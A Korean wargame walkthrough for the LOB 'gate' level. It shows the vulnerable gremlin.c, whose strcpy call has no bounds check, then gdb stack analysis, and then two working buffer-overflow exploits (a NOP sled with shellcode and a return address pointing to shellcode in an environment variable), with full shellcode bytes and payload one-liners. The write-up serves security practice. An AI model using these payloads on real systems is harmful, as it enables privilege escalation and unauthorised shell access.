[LOB] gate
gate / gate로 로그인을 하고
gremlin.c 파일을 확인해 본다.
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
1. 코드를 확인해 보면, argc < 2 부분을 통해서 인자가 하나라도 주어져야 하고
*인자에 대한 자세한 설명은 전에 작성했던 글 참고 : 2023.01.31 - [시스템/시스템 해킹] - main 함수 인자
2. strcpy(buffer, argv[1]); 을 통해서 인자값을 buffer로 입력받는데 입력값에 대한 길이 제한이 없다.
☞ 이부분에서 bof가 일어난다.
gdb를 통해서 gremlin 파일을 분석해 보면,
push %ebp
mov %ebp, %esp
를 통해서 함수의 시작을 알 수 있고
그다음의, sub %esp, 0x100을 통해서 변수에 할당된 크기를 할 수 있다.
(16진수) 0x100 → (10진수) 256 이므로
buffer의 크기도 256bytes이기 때문에 buffer와 sfp 사이에는 dummy 값이 없다는 것을 알 수 있다.
스택의 구조를 그리면 아래와 같다.
이제 스택의 구조를 알았으니 우리가 원하는 것은 쉘을 얻는 것인데, 문제 풀이방법 2가지를 작성해 보도록 하겠다.
1. NOP Sled
NOP은 No Operation의 약자로 아무것도 실행하지 않고 다음으로 넘어가는 코드이다. (\x90)
그래서 buffer로 오버플로우 할 때,
buffer 안에 쉘코드를 넣을 때 앞에 NOP(\x90)로 잔뜩 채우고 RET에는 NOP이 있는 아무 주소로 가면 된다.
바로 gdb로 확인을 하면 권한이 없기 때문에
cp gremlin /tmp/ 로 파일을 복사한 후에
cd /tmp
gdb gremlin으로 파일을 연다음
취약한 함수strcpy 바로뒤에 breakpoint를 설정한다. 그리고 인자로 \x90을 잔뜩 주고 메모리를 확인해보면 다음과 같다.
(gdb) b *main+59
(gdb) r `python -c 'print "\x90"*200'
(gdb) x/100x $esp
여기에서 NOP(\x90)이 있는 아무 주소나 설정을 하면된다.
0xbffff990으로 설정 했다. 그리고 \x90으로 213bytes + shellcode(47bytes) + ret(4bytes)로 설정하면, legal instruction으로 뜨기 때문에 중간에 A를 넣어주었다.
NOP(200bytes)+shellcode(47bytes)+A(13bytes)+ret(4bytes)
쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
페이로드를 적성하면 다음과 같다 :
`python -c 'print "\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"+"A"*13+"\x90\xf9\xff\xbf"'`
그러고나서 실행을 했더니
성공!
2. 환경변수
이문제를 풀기 위해서 환경변수에 쉘을 저장한 뒤, 해당 주소를 얻어내서 RET에 덮어쓰도록 한다.
1. 우선 쉘코드를 환경변수에 넣는다.
쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
2. 그리고 쉘이 있는 주소를 얻어낸다.
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
그러면, 쉘의 주소가 0xbffffe9d 인 것을 알 수 있다.
3. 페이로드를 작성하면,
buffer(256bytes) + sfp(4bytes) + ret(4bytes) 에서
1) buffer + sfp ☞ 260bytes에 "A"를 채움
2) ret ☞ 쉘주소 0xbffffe9d
./gremlin `python -c 'print "A"*260+"\x9d\xfe\xff\xbf"'`
성공!